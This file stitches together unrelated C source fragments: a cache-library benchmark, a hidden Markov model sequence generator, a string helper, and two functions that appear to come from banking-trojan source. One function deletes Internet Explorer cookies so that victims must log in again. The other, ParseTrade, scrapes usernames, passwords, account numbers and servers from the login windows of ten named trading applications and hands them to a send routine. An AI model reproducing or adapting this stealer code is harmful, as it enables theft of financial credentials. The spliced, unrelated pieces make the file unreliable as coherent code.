"/dev/shm/ybc-perftest-cache.index"); ybc_remove(config); ybc_config_destroy(config); } static void measure_simple_ops(struct ybc *const cache, const int use_shm, const size_t requests_count, const size_t items_count, const size_t hot_items_count, const size_t max_item_size, const int has_overwrite_protection) { double start_time, end_time; double qps; m_open(cache, use_shm, items_count, hot_items_count, max_item_size, has_overwrite_protection); printf("simple_ops(requests=%zu, items=%zu, " "hot_items=%zu, max_item_size=%zu, has_overwrite_protection=%d, use_shm=%d)\n", requests_count, items_count, hot_items_count, max_item_size, has_overwrite_protection, use_shm); start_time = p_get_current_time(); simple_get_miss(cache, requests_count, items_count); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" get_miss : %.02f qps\n", qps); start_time = p_get_current_time(); simple_set(cache, requests_count, items_count, max_item_size); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" set : %.02f qps\n", qps); const size_t get_items_count = hot_items_count ? hot_items_count : items_count; if (has_overwrite_protection) { start_time = p_get_current_time(); simple_get_hit(cache, requests_count, get_items_count, max_item_size); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" get_hit : %.02f qps\n", qps); } ybc_clear(cache); start_time = p_get_current_time(); simple_set_simple(cache, requests_count, items_count, max_item_size); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" set_simple : %.02f qps\n", qps); start_time = p_get_current_time(); simple_get_simple_hit(cache, requests_count, get_items_count, max_item_size); end_time = p_get_current_time(); qps = requests_count / (end_time - start_time) * 1000; printf(" get_simple_hit : %.02f qps\n", qps); m_close(cache, use_shm); } struct thread_task { struct p_lock lock; struct ybc *cache; size_t requests_count; size_t items_count; size_t get_items_count; size_t max_item_size; }; static size_t get_batch_requests_count(struct thread_task *const task) { static const size_t batch_requests_count = 10000; size_t requests_count = batch_requests_count; p_lock_lock(&task->lock); if (task->requests_count < batch_requests_count) { requests_count = task->requests_count; } task->requests_count -= requests_count; p_lock_unlock(&task->lock); return requests_count; } static void thread_func_set(void *const ctx) { struct thread_task *const task = ctx; for (;;) { const size_t requests_count = get_batch_requests_count(task); if (requests_count == 0) { break; } simple_set(task->cache, requests_count, task->items_count, task->max_item_size); } } static void thread_func_get_miss(void *const ctx) { struct thread_task *const task = ctx; for (;;) { const size_t requests_count = get_batch_requests_count(task); if (requests_count == 0) { break; } simple_get_miss(task->cache, requests_count, task->get_items_count); } } static void thread_func_get_hit(void *const ctx) { struct thread_task *const task = ctx; for (;;) { const size_t requests_count = get_batch_requests_count(task); if (requests_count == 0) { break; } simple_get_hit(task->cache, requests_count, task->get_items_count, task->max_item_size); } } static void thread_func_set_get(void *const ctx) { struct thread_task *const task = ctx; for (;;) { const size_t requests_count = get_batch_requests_count(task); if (requests_count == 0) { break; } const size_t set_requests_count = (size_t)(requests_count * 0.1); const size_t get_requests_count = requests_count - set_requests_count; simple_set(task->cache, set_requests_count, task->items_count, task->max_item_size); simple_get_hit(task->cache, get_requests_count, task->get_items_count, task->max_item_size); } } static void thread_func_set_simple(void *const ctx) { struct thread_task *const task = ctx; for (;;) { const size_t requests_count = get_batch_requests_count(task); if (requests_count == 0) { break; } simple_set_simple(task->cache, requests_count, task->items_count, task->max_item_size); } } static void thread_func_get_simple_hit(void *const ctx) { struct thread_task *const task = ctx; for (;;) { const size_t requests_count = get_batch_requests_count(task); if (requests_count == 0) { break; } simple_get_simple_hit(task->cache, requests_count, task->get_items_count, task->max_item_size); } } static double measure_qps(struct thread_task *const task, const p_thread_func thread_func, const size_t threads_count, const size_t requests_count) { struct p_thread threads[threads_count]; task->requests_count = requests_count; double start_time = p_get_current_time(); for (size_t i = 0; i < threads_count; ++i) { p_thread_init_and_start(&threads[i], thread_func, task); } for (size_t i = 0; i < threads_count; ++i) { p_thread_join_and_destroy(&threads[i]); } double end_time = p_get_current_time(); return requests_count / (end_time - start_time) * 1000; } static void measure_multithreaded_ops(struct ybc *const cache, const int use_shm, const size_t threads_count, const size_t requests_count, const size_t items_count, const size_t hot_items_count, const size_t max_item_size, const int has_overwrite_protection) { double qps; m_open(cache, use_shm, items_count, hot_items_count, max_item_size, has_overwrite_protection); struct thread_task task = { .cache = cache, .items_count = items_count, .get_items_count = hot_items_count ? hot_items_count : items_count, .max_item_size = max_item_size, }; p_lock_init(&task.lock); printf("multithreaded_ops(requests=%zu, items=%zu, hot_items=%zu, " "max_item_size=%zu, threads=%zu, has_overwrite_protection=%d, use_shm=%d)\n", requests_count, items_count, hot_items_count, max_item_size, threads_count, has_overwrite_protection, use_shm); qps = measure_qps(&task, thread_func_get_miss, threads_count, requests_count); printf(" get_miss : %.2f qps\n", qps); qps = measure_qps(&task, thread_func_set, threads_count, requests_count); printf(" set : %.2f qps\n", qps); if (has_overwrite_protection) { qps = measure_qps(&task, thread_func_get_hit, threads_count, requests_count); printf(" get_hit : %.2f qps\n", qps); qps = measure_qps(&task, thread_func_set_get, threads_count, requests_count); printf(" get_set : %.2f qps\n", qps); } ybc_clear(cache); qps = measure_qps(&task, thread_func_set_simple, threads_count, requests_count); printf(" set_simple : %.2f qps\n", qps); qps = measure_qps(&task, thread_func_get_simple_hit, threads_count, requests_count); printf(" get_simple_hit : %.2f qps\n", qps); p_lock_destroy(&task.lock); m_close(cache, use_shm); } int main(void) { char cache_buf[ybc_get_size()]; struct ybc *const cache = (struct ybc *)cache_buf; const size_t requests_count = 4 * 1000 * 1000; const size_t items_count = 200 * 1000; for (size_t max_item_size = 8; max_item_size <= 4096; max_item_size *= 2) { measure_simple_ops(cache, 0, requests_count, items_count, 0, max_item_size, 0); measure_simple_ops(cache, 0, requests_count, items_count, 0, max_item_size, 1); measure_simple_ops(cache, 1, requests_count, items_count, 0, max_item_size, 0); measure_simple_ops(cache, 1, requests_count, items_count, 0, max_item_size, 1); for (size_t hot_items_count = 1000; hot_items_count <= items_count; hot_items_count *= 10) { measure_simple_ops(cache, 0, requests_count, items_count, hot_items_count, max_item_size, 0); measure_simple_ops(cache, 0, requests_count, items_count, hot_items_count, max_item_size, 1); measure_simple_ops(cache, 1, requests_count, items_count, hot_items_count, max_item_size, 0); measure_simple_ops(cache, 1, requests_count, items_count, hot_items_count, max_item_size, 1); } for (size_t threads_count = 1; threads_count <= 16; threads_count *= 2) { measure_multithreaded_ops(cache, 0, threads_count, requests_count, items_count, 10 * 1000, max_item_size, 0); measure_multithreaded_ops(cache, 0, threads_count, requests_count, items_count, 10 * 1000, max_item_size, 1); measure_multithreaded_ops(cache, 1, threads_count, requests_count, items_count, 10 * 1000, max_item_size, 0); measure_multithreaded_ops(cache, 1, threads_count, requests_count, items_count, 10 * 1000, max_item_size, 1); } } printf("All performance tests done\n"); return 0; }
/************************************************************************/ //* Надо ещё сделать парную для MemAlloc очистку памяти в этой процедуре*/ BOOL Delete_IECookies_Norm(BOOL bDeleteCookies, BOOL bDeleteCookiesIndex) { DbgMsg("Delete_IECookies_Norm",0,"START"); char szUserProfile[200]; char szFilePath[200]; HANDLE hCacheEnumHandle = NULL; LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL; DWORD dwSize = 4096; // initial buffer size // Delete index.dat if requested. Be sure that index.dat is not locked. if(bDeleteCookiesIndex) { // Retrieve from environment user profile path. pExpandEnvironmentStringsA("%userprofile%", &szUserProfile[0], sizeof(szUserProfile)); m_memset(&szFilePath[0], 0, sizeof(szFilePath)); //m_memcpy(&szFilePath[0],&szUserProfile[0], m_wcslen(&szUserProfile[0])*sizeof(WCHAR)); //m_memcpy(&szFilePath[m_wcslen(&szUserProfile[0])],L"\\Cookies\\index.dat", 36); m_lstrcpy(&szFilePath[0], &szUserProfile[0]); m_lstrcat(&szFilePath[0], "\\Cookies\\index.dat"); // wsprintfW(szFilePath, L"%s%s", szUserProfile, L"\\Cookies\\index.dat"); m_lstrcpy(&szFilePath[0], "C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat"); pDeleteFileA(szFilePath); DbgMsg("Delete_IECookies_Norm",0,&szFilePath[0]); DWORD err = pGetLastError(); DbgMsg("Delete_IECookies_Norm",err,"pDeleteFileW"); if(!bDeleteCookies) return TRUE; } // Enable initial buffer size for cache entry structure. //lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwSize]; lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)MemAlloc(dwSize); lpCacheEntry->dwStructSize = dwSize; // URL search pattern (1st parameter) options are: "cookie:", "visited:", // or NULL ("*.*"). hCacheEnumHandle = pFindFirstUrlCacheEntryA(_T("cookie:") /* in */, lpCacheEntry /* out */, &dwSize /* in, out */); // First, obtain handle to internet cache with FindFirstUrlCacheEntry // for late use with FindNextUrlCacheEntry. if(hCacheEnumHandle != NULL) { pDeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); DbgMsg("pDeleteUrlCacheEntry",0,&lpCacheEntry->lpszSourceUrlName[0]); } else { switch(pGetLastError()) { case ERROR_INSUFFICIENT_BUFFER: MemFree(lpCacheEntry); //lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwSize]; lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)MemAlloc(dwSize); lpCacheEntry->dwStructSize = dwSize; // Repeat first step search with adjusted buffer, exit if not // found again (in practice one buffer's size adustment is // always OK). hCacheEnumHandle = pFindFirstUrlCacheEntryA(NULL, lpCacheEntry, &dwSize); if(hCacheEnumHandle != NULL) { pDeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); DbgMsg("pDeleteUrlCacheEntry",0,&lpCacheEntry->lpszSourceUrlName[0]); break; } else { // FindFirstUrlCacheEntry fails again, return. MemFree(lpCacheEntry); return FALSE; } default: pFindCloseUrlCache(hCacheEnumHandle); MemFree(lpCacheEntry); return FALSE; } } // Next, use hCacheEnumHandle obtained from the previous step to delete // subsequent items of cache. do { // Notice that return values of FindNextUrlCacheEntry (BOOL) and // FindFirstUrlCacheEntry (HANDLE) are different. if((BOOL)pFindNextUrlCacheEntryA(hCacheEnumHandle, lpCacheEntry, &dwSize)) { pDeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); DbgMsg("pDeleteUrlCacheEntry",0,&lpCacheEntry->lpszSourceUrlName[0]); } else { switch(pGetLastError()) { case ERROR_INSUFFICIENT_BUFFER: //lpCacheEntry = //(LPINTERNET_CACHE_ENTRY_INFO); MemFree(lpCacheEntry); //new char[dwSize]; lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)MemAlloc(dwSize); lpCacheEntry->dwStructSize = dwSize; // Repeat next step search with adjusted buffer, exit if // error comes up again ((in practice one buffer's size // adustment is always OK). if(pFindNextUrlCacheEntryA(hCacheEnumHandle, lpCacheEntry, &dwSize)) { pDeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); DbgMsg("pDeleteUrlCacheEntry",0,&lpCacheEntry->lpszSourceUrlName[0]); break; } else { // FindFirstUrlCacheEntry fails again, return. pFindCloseUrlCache(hCacheEnumHandle); MemFree(lpCacheEntry); return FALSE; } break; case ERROR_NO_MORE_ITEMS: pFindCloseUrlCache(hCacheEnumHandle); MemFree(lpCacheEntry); return TRUE; default: pFindCloseUrlCache(hCacheEnumHandle); MemFree(lpCacheEntry); return FALSE; } } } while (TRUE); return FALSE; // never here }
ghmm_cseq *ghmm_sgenerate_extensions (ghmm_cmodel * smo, ghmm_cseq * sqd_short, int seed, int global_len, sgeneration_mode_t mode) { #define CUR_PROC "ghmm_sgenerate_extensions" ghmm_cseq *sq = NULL; int i, j, t, n, m, len = global_len, short_len, max_short_len = 0, up = 0; #ifdef bausparkasse int tilgphase = 0; #endif /* int *v_path = NULL; */ double log_p, *initial_distribution, **alpha, *scale, p, sum; /* aicj */ int class = -1; int pos; /* TEMP */ if (mode == all_viterbi || mode == viterbi_viterbi || mode == viterbi_all) { GHMM_LOG(LCONVERTED, "Error: mode not implemented yet\n"); goto STOP; } if (len <= 0) /* no global length; model should have a final state */ len = (int) GHMM_MAX_SEQ_LEN; max_short_len = ghmm_cseq_max_len (sqd_short); /*---------------alloc-------------------------------------------------*/ sq = ghmm_cseq_calloc (sqd_short->seq_number); if (!sq) { GHMM_LOG_QUEUED(LCONVERTED); goto STOP; } ARRAY_CALLOC (initial_distribution, smo->N); /* is needed in cfoba_forward() */ alpha = ighmm_cmatrix_alloc (max_short_len, smo->N); if (!alpha) { GHMM_LOG_QUEUED(LCONVERTED); goto STOP; } ARRAY_CALLOC (scale, max_short_len); ghmm_rng_init (); GHMM_RNG_SET (RNG, seed); /*---------------main loop over all seqs-------------------------------*/ for (n = 0; n < sqd_short->seq_number; n++) { ARRAY_CALLOC (sq->seq[n], len*(smo->dim)); short_len = sqd_short->seq_len[n]; if (len < short_len) { GHMM_LOG(LCONVERTED, "Error: given sequence is too long\n"); goto STOP; } ghmm_cseq_copy (sq->seq[n], sqd_short->seq[n], short_len); #ifdef GHMM_OBSOLETE sq->seq_label[n] = sqd_short->seq_label[n]; #endif /* GHMM_OBSOLETE */ /* Initial distribution */ /* 1. Viterbi-state */ #if 0 /* wieder aktivieren, wenn ghmm_cmodel_viterbi realisiert */ if (mode == viterbi_all || mode == viterbi_viterbi) { v_path = cviterbi (smo, sqd_short->seq[n], short_len, &log_p); if (v_path[short_len - 1] < 0 || v_path[short_len - 1] >= smo->N) { GHMM_LOG(LCONVERTED, "Warning:Error: from viterbi()\n"); sq->seq_len[n] = short_len; m_realloc (sq->seq[n], short_len); continue; } m_memset (initial_distribution, 0, smo->N); initial_distribution[v_path[short_len - 1]] = 1.0; /* all other 0 */ m_free (v_path); } #endif /* 2. Initial Distribution ??? Pi(i) = alpha_t(i)/P(O|lambda) */ if (mode == all_all || mode == all_viterbi) { if (short_len > 0) { if (ghmm_cmodel_forward (smo, sqd_short->seq[n], short_len, NULL /* ?? */ , alpha, scale, &log_p)) { GHMM_LOG_QUEUED(LCONVERTED); goto STOP; } sum = 0.0; for (i = 0; i < smo->N; i++) { /* alpha ist skaliert! */ initial_distribution[i] = alpha[short_len - 1][i]; sum += initial_distribution[i]; } /* nicht ok.? auf eins skalieren? */ for (i = 0; i < smo->N; i++) initial_distribution[i] /= sum; } else { for (i = 0; i < smo->N; i++) initial_distribution[i] = smo->s[i].pi; } } /* if short_len > 0: Initial state == final state from sqd_short; no output here else choose inittial state according to pi and do output */ p = GHMM_RNG_UNIFORM (RNG); sum = 0.0; for (i = 0; i < smo->N; i++) { sum += initial_distribution[i]; if (sum >= p) break; } /* error due to incorrect normalization ?? */ if (i == smo->N) { i--; while (i > 0 && initial_distribution[i] == 0.0) i--; } t = 0; pos = t * smo->dim; if (short_len == 0) { /* Output in state i */ p = GHMM_RNG_UNIFORM (RNG); sum = 0.0; for (m = 0; m < smo->M; m++) { sum += smo->s[i].c[m]; if (sum >= p) break; } /* error due to incorrect normalization ?? */ if (m == smo->M) { m--; while (m > 0 && smo->s[i].c[m] == 0.0) m--; } ghmm_cmodel_get_random_var(smo, i, m, sq->seq[n]+pos); if (smo->cos == 1) { class = 0; } else { if (!smo->class_change->get_class) { printf ("ERROR: get_class not initialized\n"); goto STOP; } /*printf("1: cos = %d, k = %d, t = %d\n",smo->cos,smo->class_change->k,t);*/ class = smo->class_change->get_class (smo, sq->seq[n], n, t); } t++; pos += smo->dim; }
void ParseTrade( HWND hWnd ) { char *Program = NULL; if ( !pTradeInfo ) { return; } if ( IsBlackwoodPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1022; pTradeInfo->dwPassID = 1023; pTradeInfo->dwServID = 1687; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); while ( !(BOOL)pEnumChildWindows( (HWND)pGetParent( (HWND)pGetActiveWindow() ), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "BlackwoodPRO"; } else if ( IsFinamDirect() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "FinamDirect"; } else if ( IsGrayBox() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1000; pTradeInfo->dwPassID = 1001; pTradeInfo->dwServID = 1147; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "GrayBox"; } else if ( IsMbtPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "MbtPRO"; } else if ( IsLaser() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1062; pTradeInfo->dwPassID = 1064; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "Laser"; } else if ( IsLightSpeed() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 10826; pTradeInfo->dwPassID = 10825; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "LightSpeed"; } else if ( IsLT() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "LTGroup"; } else if ( IsMbt() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; pTradeInfo->dwServID = 311; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "Mbt"; } else if ( IsScotTrader() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1076; pTradeInfo->dwPassID = 1005; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "ScotTrader"; } else if ( IsSaxoTrader() && TradeGetWindowID2( hWnd ) == 1442918145 ) { pTradeInfo->dwUserID = 1442906816; pTradeInfo->dwPassID = 1442906848; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc2, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "SaxoTrader"; } if ( Program != NULL ) { char *Buffer = (char*)MemAlloc( 1024 ); char Template[] = "Program: %s\r\n" "Username: %s\r\n" "Password: %s\r\n" "AccountNO: %s\r\n" "Server: %s\r\n"; if ( Buffer != NULL ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, Template, Program, pTradeInfo->Username, pTradeInfo->Password, pTradeInfo->UserID, pTradeInfo->Server ); SendTradeInfo( Buffer ); MemFree( Buffer ); MemFree( pTradeInfo->Server ); MemFree( pTradeInfo->Username ); MemFree( pTradeInfo->Password ); MemFree( pTradeInfo->UserID ); if ( ( pTradeInfo = (PTRADEINFO)MemAlloc( sizeof( PTRADEINFO ) ) ) != NULL ) { m_memset( pTradeInfo, 0, sizeof( PTRADEINFO ) ); } } }
void String::clear() { m_memset(str, '\0', length()); }